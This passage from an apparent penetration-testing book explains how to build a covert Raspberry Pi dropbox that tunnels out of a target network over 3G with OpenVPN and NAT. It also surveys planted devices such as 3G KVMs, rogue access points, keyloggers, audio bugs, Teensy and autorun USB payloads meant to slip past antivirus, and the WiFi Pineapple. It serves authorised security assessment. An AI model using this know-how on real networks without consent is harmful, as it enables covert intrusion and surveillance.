There are other alternatives though. People have built these “dropboxes” into laptop power bricks, eight-way power supplies, switches, access points, and a whole host of other recycled cases. A nice idea is that of building it into a desktop switch and wiring the Ethernet ports directly through to the Pi, but that is a topic for another book.

Install OpenVPN and generate the certificates and keys

Let’s get OpenVPN set up on our server first of all. It’s a pretty straightforward operation; we just need to carefully follow the steps to avoid any mistakes.

root@ubuntusrv:~# sudo apt-get install openvpn

Yep, that’s all that is required to get it built. Next comes the configuration of the server, starting by copying a few files around.

root@ubuntusrv:~# cp -R /usr/share/doc/openvpn/examples/easy-rsa /etc/openvpn

root@ubuntusrv:~# cd /etc/openvpn/easy-rsa/2.0

We now need to edit the “vars” file to suit our needs. You are looking for values that will be added to the certificates we will generate. As an example: “export KEY_COUNTRY=“US”.”

To be perfectly honest, for our purposes, these values could be set to anything. Use a text editor of your choosing to edit the values.

We then need to run a couple of scripts to get things moving. Yes the first line below is “dot space dot slash.”

root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#. ./vars

root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./clean-all

root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./build-ca

Generating a 1024 bit RSA private key

................................................................................++++++

...........++++++

writing new private key to'ca.key'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter'.', the field will be left blank.

-----

Country Name (2 letter code) [UK]:

State or Province Name (full name) [UK]:

Locality Name (eg, city) [Leeds]:

Organization Name (eg, company) [hackjobinc]:

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostname) [hackjobinc CA]:

Name []:server

Email Address [[email protected]]:

root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#

You will be asked to configure several options as per the output, but we have already added them to the “vars” file so can just hit “enter” to keep each value. As I have already mentioned, you could just keep the shipping defaults if you so desired.

Onto the next scripts that need to be executed:

root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./build-key-server server #Answer ‘Y’ when asked to sign the certificate and then again when asked to commit.

root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./build-key client   #This generates a client certificate

root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./build-dh   #Diffie Helman Setup

We now need to move the keys and certificates that we have generated into the correct directory.

cd /etc/openvpn/easy-rsa/2.0/keys

cp ca.crt ca.key dh1024.pem server.crt server.key /etc/openvpn

Configure OpenVPN

Luckily this step is very easy. OpenVPN ships with example configurations which can be edited to fit our setup. Thankfully, there isn’t a lot to change to get things working. Let’s start by copying the example config to its correct location.

cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn

gunzip /etc/openvpn/server.conf.gz

We now need to edit the server.conf file and ensure that the location of the certificate and key files is correctly set to /etc/openvpn/keys. Open /etc/openvpn/server.conf using nano—sudo nano /etc/openvpn/server.conf

Look for the section that references ca.crt, server.crt and server.key. Ensure that this is set to /etc/openvpn/ca.crt /etc/openvpn/server.crt and /etc/openvpn/server.key.

At this point, that’s all that needs to be done, at the server side. Not too traumatic really. Especially, considering that the tunnel will automatically come up at boot.

Now, move onto the client, which in this case is the RaspberryPi dropbox.

Configuring the client

The process for building the client is extremely similar. Start by installing OpenVPN, and copying the client certificates from the server to the Pi. We will then amend the client example configuration to fit our needs. At this point restarting the OpenVPN demon should bring the tunnel up. Let’s get started!

If the root account, on the Pi, has not already been enabled, it needs to be done now. Just enter passwd root and enter a new root password.

Install OpenVPN—sudo apt-get install openvpn

Next log back onto the server to Secure Copy (SCP) the certificate files to the Pi

root@ubuntusrv:/# cd /etc/openvpn/easy-rsa/2.0/keys

root@ubuntusrv:/# scp piclient.key piclient.crt ca.crt ca.key [email protected]:/etc/openvpn

You should see the transfers succeed! If not, try and troubleshoot why, as this isn’t going to work without them.

Now go back to the Pi and copy the example configuration that ships with OpenVPN.

pi@raspberrypi ~ $ sudo cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn

Next, edit the file to match our environment—sudo nano /etc/openvpn/client.conf, find the string “remote my-server-1 1194.” Change “my-server” to the server’s IP address. The port is User Datagram Protocol (UDP)/1194 by default, but any port maybe chosen. TCP/443 might be a good choice if the VPN is expected to travel through a client’s infrastructure. In this case, the tunnel will be established over 3G, which should not have any restrictions.

Much like the server.conf, edited earlier, it is important to ensure that the client keys and certificates are properly referenced in client.conf. Again, each of the files was copied to /etc/openvpn so ensure that the configuration file reflects this.

All that is required now, is to restart the OpenVPN demon at each side of the connection, starting with the server sudo /etc/init.d/openvpn restart.

At this point, the tunnel should have established. Verify this by running “ifconfig” and “route -n.” There should be a “tun0” interface and several routes using it as a hop.

Each end of the connection usually comes up with a 10.8.0.x address. Try running NMAP to figure out what address the remote end (The Pi) has given itself—Nmap -sn 10.8.0.0/24.

As an example, in this setup the Pi had acquired 10.8.0.6. It is possible to actually communicate directly with the Pi over this address too, using SSH or any of the usual tools. All of this traffic is sent down the VPN!

This isn’t quite finished, there’s still the need to hack the routing a little bit to ensure access to the entire target network can be gained.

Routing issues and how to overcome them

As it stands, it is not possible to ping from the OpenVPN server, to the local network of the Pi. There are two reasons for this. First of all, OpenVPN needs to be configured to route LAN traffic down the VPN tunnel. Second of all, devices in the target network do not have a return route back to the 10.8.0.0/24 network, well certainly not via this Pi in any case. Obviously, we are not in a position to modify the routing tables of the target network, nor would we want to. There is an alternative to this, however. We can hide all of our traffic behind the LAN IP address of the Pi dropbox. Because the Pi is plugged into the target network, it is known that all of the hosts within that network will be able to communicate with it. This is not dissimilar to how someone might configure a home broadband router, by hiding all of the home PCs behind the single public IP address that your router has. In our case, we are going to translate the 10.8.0.0/24 network to the 192.168.1.x network of our client.

Configure the following on the Pi “Dropbox.”

sudo -i

iptables -F; iptables -t nat -F; iptables -t mangle -F

iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 192.168.1.154   #192.168.1.154 is the address of the eth0 interface of our Pi which is on the client network

echo 1 > /proc/sys/net/ipv4/ip_forward   #Allows the Pi to route traffic in and out, basically turning it into a router.

That should handle the routing at the Pi side of the connection. Now configure OpenVPN to send traffic to 192.168.1.0/24 down the VPN tunnel.

We will configure this on the OpenVPN server only.

First of all, we need to edit the server.conf again, nano /etc/openvpn/server.conf.

Find the line that says “client-config-dir ccd” and remove the semicolon which comments the line out.

Directly below the line, add a route to our 192.168.1.0 255.255.255.0 network.

route 192.168.1.0 255.255.255.0

Save the file.

Now create the “ccd” directory and place a config file in it.

mkdir /etc/openvpn/ccd

The configuration file we will create needs to have the same name as the client. In our example we called it “client”—this was chosen when we generated the certificates!

cd /etc/openvpn/ccd

nano client

Then add a route into the client file.

iroute 192.168.1.0 255.255.255.0

The route command is slightly different to the one used earlier; don’t get the two confused or this is not going to work! Don’t forget to save the file. All we need to do is restart our OpenVPN server and we should be in business!

/etc/init.d/openvpn restart

root@ubuntusrv:~# route -n

Kernel IP routing table

Destination  Gateway   Genmask   Flags Metric Ref Use Iface

0.0.0.0   192.168.1.254 0.0.0.0   UG 0   0   0 eth0

10.8.0.0  10.8.0.2  255.255.255.0 UG 0  0  0 tun0

10.8.0.2  0.0.0.0  255.255.255.255 UH 0  0  0 tun0

172.16.0.0  0.0.0.0  255.255.0.0 U 0  0  0 eth1

192.168.1.0 10.8.0.2  255.255.255.0 UGH 0  0  0 tun0

As you can see, we now have a route to the 192.168.1.0/24 network using interface tun0, our VPN! The gateway for this network is 10.8.0.2, which belongs to our RaspberryPi. You should now be able to access anything in that network from your OpenVPN server. You will need to repeat the route additions for any other target network you wish to access. Your access will be no different to being physically plugged in yourself, other than the bandwidth of course. This works sufficiently over our 3G connection too, although I would be tempted to bring a second tunnel up over the client’s connectivity once I had control of the Pi.

Don’t forget that you could allow your OpenVPN server to route traffic with the echo 1 > /proc/sys/net/ipv4/ip_forward statement. You could then use the server as a gateway to the target network, so that multiple engineers can access the scope. Alternatively, you could install the OpenVPN client on each consultant’s machine, and get to the target in that way. The world is your oyster!

3G and IP KVMs

Two recent high-profile breaches have highlighted the use of 3G-enabled KVMs (Keyboard, Video, and Mouse) for remote compromises. A KVM is a system designed to provide console level access to a system. In essence, it is like being sat at a monitor and keyboard. It is possible to reboot the system and get into the BIOS and perform any task that physical access would allow. KVMs have been around for a long time, and have evolved with the industry, offering connectivity over the network and in some cases the cellular network. This was highlighted in the two previously mentioned breaches.

The attacks targeted bank computer systems at both Santander and Barclays branches. The 3G-enabled KVM was installed on branch computers, allowing the attackers to take control of the systems remotely and make transfers of large sums of money. In the case of Santander, the device was spotted before any money could be stolen, but Barclays were not so lucky. The attackers managed to steal £1.3 m. After seeing pictures of the devices in use, it appears that the IP KVM was connected to a 3G-enabled router that allowed the remote connectivity. The devices were discrete and would not have looked out of place in an office or branch environment to the vast majority of people.

The KVM was installed in what appears to be a classic social engineering type attack. They posed as IT staff who were on-site to perform maintenance on the bank computers. While specifics on the pretext are not available at the time of writing, we have covered examples that could certainly work throughout this book. The question is now, how many other banks and organizations have these rogue devices on their network?

These cases are perfect examples of the blended threat that modern attacks pose. They integrated social engineering elements to get into the branches, and then technology related trickery to acquire remote access. The most intriguing thing to me was that they did this with off-the-shelf hardware. It is without doubt that there is a certain level of admiration for the effort that was put in, even if they do deserve to go to prison for a long time. I’m certainly on the lookout for a reasonably priced IP/3G KVM in any case!

Routers

A 3G capable router could definitely be a useful “dropbox.” Plugging the device into the network and letting it create a VPN back to the data center, over cellular, is as good as having local network access. There are several manufacturers that make suitable devices. Cisco and DrayTek make several devices that would be up to the job. It might be that you already have one of these devices lying around, in which case make the most of it.

Having a fully functional computer behind enemy lines certainly offers a lot more flexibility at the end of the day, but a router could be a good option in many instances. We have already covered the use of OpenVPN on the Linux platform to offer identical connectivity options with more flexibility to boot!

Wireless access points

There is a lot to be said for the use of a good quality wireless access point for social engineering gigs. First of all, it literally could not be any simpler, just plug it in and get out of there. Assuming the device is well made, and you tried to avoid too many obstructions between the AP and your remote location, you should be good to go. Of course, there are obvious limitations and issues with wireless access points that may cause us problems on the assessment. First of all, range can often be an issue, especially where older buildings are concerned, or those with thick concrete walls. As long as there is a decent antenna for the laptop, there shouldn’t be too many problems. Have a look at installing a high gain antenna on the access point itself. The other issue is that of visibility. If the target has any sort of wireless Intrusion Detection System (IDS) solution they may well track down the access point before the task can be completed. In some cases, naming the access point’s Service Set Identifier (SSID) after a neighboring business will be enough to ensure that it flies under the radar.

Having a handful of different types of access points for different scenarios is extremely handy, but the Belkin Go N300 has provided some notable successes. It’s very small with no external antenna but still appears to get good range. It’s about the size of a deck of cards, and doesn’t even really look like an access point. Perfect for hiding under the floor or even in plain sight.

Compromising internal systems

In fairness, this one isn’t physically a “dropbox,” but logically it certainly fits the bill. Instead of just taking the hardware, take a USB stick with a Metasploit payload on board. This could then be used to compromise an internal system and create a reverse tunnel back to the HQ. Of course, this kind of attack relies on either finding a system unlocked or persuading somebody else to run the payload. In any case, it can afford the same level of access that a “dropbox” would allow, without the risk of it being discovered. On the down side, nothing says “call security” better than an antivirus notification when a receptionist is handed a USB stick.

Keyloggers

Keyloggers have been around in various forms for a very long time. They are usually a small device that sits between a keyboard and the computer to capture data, such as every keystroke. They come in both USB and PS2 format, although it might be a struggle to find PS2 mice and keyboards in any modern environment, most credit card devices use PS2 connections.

Even though they are positively ancient, they are still exceptionally useful on an engagement. The main reason for this is that they are tiny and typically may not be found by staff for years. Not that anyone would want to leave one in place for this length of time. They are also very simple and quick to install, which is always a bonus on an engagement, where time is almost certainly going to be tight.

The main challenge with Keyloggers is that a return journey to the target is required, to recover them, and even then who knows what they will have captured. The aim is to capture credentials for a system, which can be used throughout the engagement, so as long as the chosen machine that looks to be in use, it’s a result!

Be careful when buying a USB keylogger, ensure it looks something like the one shown in Figure 12.13.

Note that it has two USB connections, one which plugs into the target computer and one for the keyboard to plug into. A lot of people are selling a ‘keylogger’ that is basically little more than a USB stick which has some keylogging software on board. Basically, one of these could easily be made using Metasploit or the Social Engineering Toolkit.

The problem with this kind of keylogger, is that they require the installation of a service, which requires admin rights on the target host. In other words, they are slow to deploy and clunky too. They are more widely used from a monitoring point of view than a social engineering point of view.

Audio recording devices

There are plenty of shops that sell audio spying devices. These can be triggered to record based on movement or sound. Again, the issue with leaving a device behind is that it has to be recovered in order to access the recorded data, much like the keyloggers. An alternative idea is to add a USB microphone to the RaspberryPi dropbox. This could then be used to record to local files, which can be downloaded over the OpenVPN. What about even adding a camera so that there are eyes on the target organization, as well. The “dropbox” would then be especially useful in sensitive areas or meeting rooms.

Teensy USB

The Teensy USB is basically a little USB stick, which is recognized by systems as a Human Interface Device, in other words, a keyboard. The device is programmable and can issue any command or set of key strokes that you require. Because it is picked up as a keyboard, it works on all types of systems.

As security professionals, this feature set is often used in order to compromise workstations and servers.

Better yet, the Social Engineering Toolkit supports the creation of Teensy compatible Metasploit payloads. All that is needed is to create a listener somewhere and plug the Teensy into the target host.

Malicious USB sticks

It’s always worth having a malicious USB stick prepared and ready to go in the event that an unlocked workstation is discovered. Quickly run the payload and have a reverse session back to the team at the HQ, in no time.

The Social Engineering Toolkit supports the generation of malicious USB sticks that take advantage of Autorun, as a method of execution. The usual risks apply with this type of behavior though. This could trigger antivirus or Intrusion Prevention Systems (IPS) alerts and have people on the hunt, in fairly short order. Ensuring that the payload is well encoded and encrypted can often ensure that it bypasses most antivirus solutions, but the outbound connection may still be flagged by IPS.

It’s always worth having the option, better to have it and not need it, than need it and not have it.

WiFi Pineapple

I have already mentioned this crazy little box of tricks, so it should be obvious that I really like them. It certainly is a useful device, although it probably doesn’t fit within the remit of classic social engineering.

If you have ever connected to an open wireless network, the device used will continue to look for that network long after the day has passed. The Pineapple takes advantage of this “feature” by responding to the probe claiming to be that access point. At this point, the client connects, often without the knowledge of the victim. You are now sat “in the middle” of this connection, and can run packet captures or divert traffic, even spoof Domain Name Service (DNS) responses. Obviously, this is extremely powerful, especially in the wrong hands!

It is extremely important for social engineers to be careful about how this data is used and what to look for. Try to avoid being in a position where personal data ends up being captured, thus violating various laws in the process.

Again, while this is not strictly social engineering territory, in a blended assessment it is a very useful tool in the arsenal!

The WiFi Pineapple is available to buy from Hak5—http://hakshop.myshopify.com/products/wifi-pineapple. At $89.99 it is an absolute steal.